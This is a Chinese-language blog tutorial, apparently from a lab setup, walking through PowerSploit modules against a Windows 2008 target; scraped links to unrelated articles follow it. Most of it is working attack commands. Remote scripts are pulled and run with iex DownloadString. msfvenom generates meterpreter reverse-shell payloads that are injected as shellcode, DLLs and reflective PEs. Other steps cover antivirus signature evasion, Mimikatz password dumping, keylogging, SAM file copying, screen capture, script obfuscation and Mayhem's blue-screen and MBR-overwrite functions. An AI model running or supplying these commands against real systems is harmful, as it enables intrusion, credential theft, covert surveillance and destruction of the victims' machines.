一、AntivirusBypass(绕过杀毒)

Find-AVSignature  发现杀软的签名

1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/AntivirusBypass/Find-AVSignature.ps1")

  

2、运行脚本,这里以之前的msf.exe反弹马为例  注意:本例把偏移量划分的不太合适,有兴趣自己慢慢划分,文件的偏移量范围本例使用winhex查看的。  

Find-AVSignature -StartByte 0 -EndByte 220000 -Interval 110000 -Path C:\Users\Administrator.WIN2008\Desktop\msf.exe -OutPath C:\Users\Administrator.WIN2008\Desktop\test\run2 -Verbose

  

3、 上图生成3个文件,然后把每个文件用在线病毒测试网站测试一下(这里推荐使用http://www.virscan.org/),看看病毒在哪个文件,然后再把有病毒的那个文件继续划分偏移量范围生成新的文件,然后继续再病毒测试网站测试,直到最终确定病毒的特征码范围。

  

  

二、CodeExecution(代码执行)

Shellcode注入:

1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")

get-help Invoke-Shellcode

  

2、在kali中使用msfvenom生成一个powershell反弹马

msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.10.128 lport=4444 -f powershell -o /var/www/test

  

3、在msf中设置监听(windows/x64/meterpreter/reverse_https模块进行反弹)并开启监听

use exploit/multi/handler   #使用监听模块

set payload windows/x64/meterpreter/reverse_https     #设置一个payload

  

4、把刚才使用msfvenom生成的powershell脚本复制到靶机(windows 2008)

5、靶机(windows 2008)加载shellcode    #注意这里的shellcode为在kali用msfvenom生成的一个powershell脚本,打开内容,取变量$buf的值

Invoke-Shellcode -Shellcode @()    #可以查看帮助文档,其中有一个例子这个的用法

  

  

6、kali中运行监听之后就可以看到得到靶机(windows 2008)的一个meterpreter的shell,说明成功控制靶机

  

7、也可以把使用Invoke-Shellcode脚本进行进程注入到别的进程(这里以explorer的3508为例)

  

DLL

首先我们需要知道我们在启动一个程序的时候并没有把所有的需要用到的数据或者文件运行起来,而是只运行了关键部分,那么当我们需要调用到某一功能时再通过DLL来动态链接,不需要时就可以卸载,使得程序不显得臃肿。

DLL注入就是将代码插入/注入到正在运行的进程中的过程。我们注入的代码是动态链接库(DLL)的形式。为什么可以做到这一点?因为DLL是在运行时根据需要来进行加载

注意:对某些进程的注入需要一定的权限

Dll注入:

可以利用powersploit将dll文件注入到当前进程中,但是dll文件必须在目标主机上。

1.先在靶机(windows 2008)上远程加载位于win7的Invoke-DllInjection.ps1脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")

  

2.kali利用msfvenom生成一个dll反弹马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f dll -o /var/www/msf.dll

  

3.在msf中设置监听(windows/x64/meterpreter/reverse_tcp模块进行反弹)并开启监听

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

  

4.把刚才生成的msf.dll文件拷贝到靶机(windows 2008),然后在windows 2008上运行powershll脚本

Invoke-DllInjection -ProcessID 464 -Dll C:\Users\Administrator.WIN2008\Desktop\msf.dll

  

5.kali msf中运行监听,就可以看到windows 2008反弹过来一个session

  

6.也可以开启一个隐藏进程并注入dll

  

Invoke-ReflectivePEInjection  反射型PE注入

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-ReflectivePEInjection脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-ReflectivePEInjection.ps1")

  

2、kali中利用msfvenom生成一个exe反弹马并对木马进行多次编码

msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 lhost=10.10.10.128 lport=4444 -f exe -o /var/www/msf.exe

  

3、在kali msf中设置监听(windows/x64/meterpreter_reverse_tcp)并开启监听

  

4、把在kali中生成的exe木马复制到靶机,在靶机(windows 2008)执行脚本

$PEBytes = [IO.File]::ReadAllBytes('C:\Users\Administrator.WIN2008\Desktop\msf.exe')

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

  

5、这时在kali端就能看到一个windows 2008反弹过来的session

  

三、Recon(信息侦察)

Invoke-Portscan  端口扫描

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-Portscan.ps1脚本

  

2、开始端口扫描,这里以扫描一个ip字典为例,别的参数,可以查看帮助文档

  

Invoke-ReverseDnsLookup 反向DNS查询

1、 先在靶机(windows 2008)上远程加载位于win7 Invoke-ReverseDnsLookup脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Invoke-ReverseDnsLookup.ps1")

  

1、 运行脚本查找特定的ip的主机名,下图可以看到查找ip对应的主机名

Invoke-ReverseDnsLookup "10.10.10.128,10.10.10.183,10.10.10.187" | fl IP,HostName

  

Get-HttpStatus 网站目录检测

1、先在靶机(windows 2008)上远程加载位于win7 Get-HttpStatus脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-HttpStatus.ps1")

  

2、 自己创建一个字典,运行脚本,下图可以看到status状态是ok说明目标存在那个网站目录。

  

Get-ComputerDetails 获得主机登录信息

1、 先在靶机(windows 2008)上远程加载位于win7 Get-ComputerDetails脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-ComputerDetails.ps1")

  

2、 运行脚本Get-ComputerDetails,看到如下效果,有报错,不知道什么原因,难道powerspolit大神异常处理没考虑完全?

  

四、Exfiltration(信息收集)   #这个文件夹主要是收集目标主机上的信息

Invoke-Mimikatz 查看主机密码(需要管理员权限)

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-Mimikatz脚本,并运行脚本查看密码

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")

  

Get-Keystrokes  键盘记录(详细的鼠标键盘记录)

1、先在靶机(windows 2008)上远程加载位于win7 Get-Keystrokes脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")

  

2、运行Get-Keystrokes,并把记录结果保存到一个文件

  

Invoke-NinjaCopy  超级复制(需要管理员权限,可以复制受保护的运行中的系统文件)

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-NinjaCopy脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-NinjaCopy.ps1")

get-help Invoke-NinjaCopy

  

2、运行脚本,把SAM文件复制一份到别处,下图可以看到成功复制一份SAM文件,注意普通复制不能复制系统限制的文件。

Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"

  

3、用普通复制测试一下,看看能否复制SAM文件,下图可以看到普通复制无法复制SAM,因为系统对SAM文件进行保护,只要进程一开启(系统开机自动运行关于SAM文件的进程并且无法停止掉进程),别的程序或者进程就无法访问SAM文件。

  

Get-TimedScreenshot  屏幕记录

1.先在靶机(windows 2008)上远程加载位于win7 Get-TimedScreenshot脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-TimedScreenshot.ps1")

  

2.运行脚本,在test文件夹中可以看到抓取屏幕的图片

Get-TimedScreenshot -Path c:\test\ -Interval 10 -EndTime 23:20

  

3.Get-MicrophoneAudio   通过麦克风记录声音,与Get-TimedScreenshot(屏幕记录)方法一样,这里不再测试

Invoke-CredentialInjection

1.先在靶机(windows 2008)上远程加载位于win7 Invoke-TokenManipulation脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-TokenManipulation.ps1")

  

2.Invoke-TokenManipulation -Enumerate  枚举唯一 可用的令牌 别的例子自己查看帮助

  

五、ScriptModification 脚本修改

Out-CompressedDll   将dll压缩并base64编码

1.先在靶机(windows 2008)上远程加载位于win7 Out-CompressedDll脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/Out-CompressedDll.ps1")

  

2.运行脚本 Out-CompressedDll -FilePath C:\Users\Administrator.WIN2008\Desktop\msf.dll

  

Out-EncodedCommand   将脚本或代码块编码

1.先在靶机(windows 2008)上远程加载位于win7 Out-EncodedCommand脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncodedCommand .ps1")

  

2. 脚本块编码

  

3.脚本编码

  

Out-EncryptedScript   脚本加密

1.先在靶机(windows 2008)上远程加载位于win7 Out-EncryptedScript脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncryptedScript .ps1")

  

2.给脚本加密

  

Remove-Comments   删除注释和不必要的空白符

1.先在靶机(windows 2008)上远程加载位于win7 Remove-Comments脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Remove-Comments .ps1")

  

2.运行脚本,删除代码块中的空白和注释以及脚本中的空白和注释

六、Mayhem

1.首先查看Mayhem帮助说明文档,可以看到说明文档使用Mayhem模块需要先将Mayhem放到C:\Windows\System32\WindowsPowerShell\v1.0\Modules下,然后需要导入模块

  

2.将Mayhem放到相应的位置之后,便开始导入模块,以及查看命令帮助

Import-Module Mayhem

Get-Command -Module Mayhem

  

3.开始使用命令

3.1Set-CriticalProcess  退出powershell时使系统蓝屏

  

3.2退出powershell测试是否蓝屏,下图可以看到蓝屏了

  

3.3 Set-MasterBootRecord  覆写主引导记录,本次实验并没有成功

  

powersploit使用实例的更多相关文章

  1. 最近学习工作流 推荐一个activiti 的教程文档

    全文地址:http://www.mossle.com/docs/activiti/ Activiti 5.15 用户手册 Table of Contents 1. 简介 协议 下载 源码 必要的软件 ...

  2. js-静态、原型、实例属性

    本篇来说一下js中的属性: 1.静态属性 2.原型属性 3.实例属性 静态属性: function klass(){} var obj=new klass(); klass.count=0; klas ...

  3. ZIP压缩算法详细分析及解压实例解释

    最近自己实现了一个ZIP压缩数据的解压程序,觉得有必要把ZIP压缩格式进行一下详细总结,数据压缩是一门通信原理和计算机科学都会涉及到的学科,在通信原理中,一般称为信源编码,在计算机科学里,一般称为数据 ...

  4. EntityFramework Core 1.1是如何创建DbContext实例的呢?

    前言 上一篇我们简单讲述了在EF Core1.1中如何进行迁移,本文我们来讲讲EF Core1.1中那些不为人知的事,细抠细节,从我做起. 显式创建DbContext实例 通过带OnConfiguri ...

  5. redis集成到Springmvc中及使用实例

    redis是现在主流的缓存工具了,因为使用简单.高效且对服务器要求较小,用于大数据量下的缓存 spring也提供了对redis的支持: org.springframework.data.redis.c ...

  6. 流程开发Activiti 与SpringMVC整合实例

    流程(Activiti) 流程是完成一系列有序动作的概述.每一个节点动作的结果将对后面的具体操作步骤产生影响.信息化系统中流程的功能完全等同于纸上办公的层级审批,尤其在oa系统中各类电子流提现较为明显 ...

  7. UWP开发之Template10实践:本地文件与照相机文件操作的MVVM实例(图文付原代码)

    前面[UWP开发之Mvvmlight实践五:SuspensionManager中断挂起以及复原处理]章节已经提到过Template10,为了认识MvvmLight的区别特做了此实例. 原代码地址:ht ...

  8. echarts+php+mysql 绘图实例

    最近在学习php+mysql,因为之前画图表都是直接在echart的实例demo中修改数据,便想着两相结合练习一下,通过ajax调用后台数据画图表. 我使用的是echart3,相比较第二版,echar ...

  9. 【HanLP】HanLP中文自然语言处理工具实例演练

    HanLP中文自然语言处理工具实例演练 作者:白宁超 2016年11月25日13:45:13 摘要:HanLP是hankcs个人完成一系列模型与算法组成的Java工具包,目标是普及自然语言处理在生产环 ...

随机推荐

  1. 不为人知的网络编程(九):理论联系实际,全方位深入理解DNS

    本文原作者:selfboot,博客地址:selfboot.cn,Github地址:github.com/selfboot,感谢原作者的技术分享. 1.引言 对于 DNS(Domain Name Sys ...

  2. python接口自动化6-参数化关联

    前言 接口中我们经常需要用到参数关联,比如,登录token,需要传给后面的参数使用,又比如要查看某个商品需要将商品的id传入下一个接口使用. 等等,所以我们必要学会 re 正则获取,或者返回json获 ...

  3. 如何使用numpy实现一个全连接神经网络?(上)

    全连接神经网络的概念我就不介绍了,对这个不是很了解的朋友,可以移步其他博主的关于神经网络的文章,这里只介绍我使用基本工具实现全连接神经网络的方法. 所用工具: numpy == 1.16.4 matp ...

  4. idea插件备份

  5. Ansible快速开始-指挥集群

    Ansible可以集中地控制多个节点,批量地执行ssh命令.由于其使用ssh进行操作,因此远端服务器除了安装openssh-server(一般服务器已经内置)之外,不需要安装额外的软件,因此使用非常简 ...

  6. 史上最全的Java命名规范[转]

    每个公司都有不同的标准,目的是为了保持统一,减少沟通成本,提升团队研发效能.所以本文中是笔者结合阿里巴巴开发规范,以及工作中的见闻针对Java领域相关命名进行整理和总结,仅供参考. 一.Java中的命 ...

  7. 面试官,我会写二分查找法!对,没有 bug 的那种!

    前言科普 第一篇二分搜索论文是 1946 年发表,然而第一个没有 bug 的二分查找法却是在 1962 年才出现,中间用了 16 年的时间. 2019 年的你,在面试的过程中能手写出没有 bug 的二 ...

  8. 杂牌机搞机之旅最终章————刷入Xposed框架

    杂牌机搞机之旅最终章----刷入Xposed框架 recovery移植不成功,没办法,挂载分区好像挂载不上,所以,刷入magisk如果卡在开机屏,只能线刷解决..心累.. 所以,折腾完XPosed框架 ...

  9. MySQL(11)---约束

    MySQL(11)---约束 含义: 一种限制,用于限制表中的数据,为了保证表中的数据的准确和可靠性. 先把Mysql几种约束列出来: 主键约束 外键约束 唯一性约束 非空约束 默认值约束 自增约束 ...

  10. FastJson中的ObjectMapper对象的使用详解

    写在前面:开发中经常用到json和对象的相互转换,下面将列出FastJson中ObjectMapper对象的API的使用 一.maven工程中pom导入<dependency> <g ...